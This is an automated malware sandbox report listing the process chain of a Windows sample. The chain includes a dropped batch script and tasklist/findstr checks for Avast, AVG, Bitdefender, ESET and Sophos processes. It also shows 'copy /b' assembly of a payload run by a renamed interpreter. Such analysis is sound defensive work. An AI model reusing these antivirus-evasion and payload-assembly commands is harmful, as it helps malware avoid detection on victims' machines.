                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:54
                                                                                                                                                                                                                                                                        Start time:12:52:49
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:56
                                                                                                                                                                                                                                                                        Start time:12:53:41
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe""
                                                                                                                                                                                                                                                                        Imagebase:0x7ff761df0000
                                                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:57
                                                                                                                                                                                                                                                                        Start time:12:53:41
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:58
                                                                                                                                                                                                                                                                        Start time:12:53:41
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe"
                                                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                                                        File size:1'076'598 bytes
                                                                                                                                                                                                                                                                        MD5 hash:2783F1199571BC172AA55EC4B0846490
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:59
                                                                                                                                                                                                                                                                        Start time:12:53:43
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:"C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd
                                                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:60
                                                                                                                                                                                                                                                                        Start time:12:53:43
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:61
                                                                                                                                                                                                                                                                        Start time:12:53:45
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                                                        Imagebase:0xf50000
                                                                                                                                                                                                                                                                        File size:79'360 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:62
                                                                                                                                                                                                                                                                        Start time:12:53:45
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:findstr /I "opssvc wrsa"
                                                                                                                                                                                                                                                                        Imagebase:0x990000
                                                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:63
                                                                                                                                                                                                                                                                        Start time:12:53:46
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                                                        Imagebase:0xf50000
                                                                                                                                                                                                                                                                        File size:79'360 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:64
                                                                                                                                                                                                                                                                        Start time:12:53:46
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                                                                                                                                        Imagebase:0x990000
                                                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:65
                                                                                                                                                                                                                                                                        Start time:12:53:46
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:cmd /c md 530420
                                                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:66
                                                                                                                                                                                                                                                                        Start time:12:53:46
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:findstr /V "Autos" Pupils
                                                                                                                                                                                                                                                                        Imagebase:0x990000
                                                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:67
                                                                                                                                                                                                                                                                        Start time:12:53:46
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:cmd /c copy /b ..\Realty + ..\Toys + ..\Ja + ..\Titans + ..\Victoria + ..\Healthy q
                                                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:68
                                                                                                                                                                                                                                                                        Start time:12:53:47
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:Classes.com q
                                                                                                                                                                                                                                                                        Imagebase:0x190000
                                                                                                                                                                                                                                                                        File size:947'288 bytes
                                                                                                                                                                                                                                                                        MD5 hash:62D09F076E6E0240548C2F837536A46A
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Antivirus matches:
                                                                                                                                                                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:69
                                                                                                                                                                                                                                                                        Start time:12:53:47
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:choice /d y /t 5
                                                                                                                                                                                                                                                                        Imagebase:0x980000
                                                                                                                                                                                                                                                                        File size:28'160 bytes
                                                                                                                                                                                                                                                                        MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:70
                                                                                                                                                                                                                                                                        Start time:12:54:32
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7ef570000
                                                                                                                                                                                                                                                                        File size:160'112'640 bytes
                                                                                                                                                                                                                                                                        MD5 hash:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        Disassembly

                                                                                                                                                                                                                                                                        ⊘No disassembly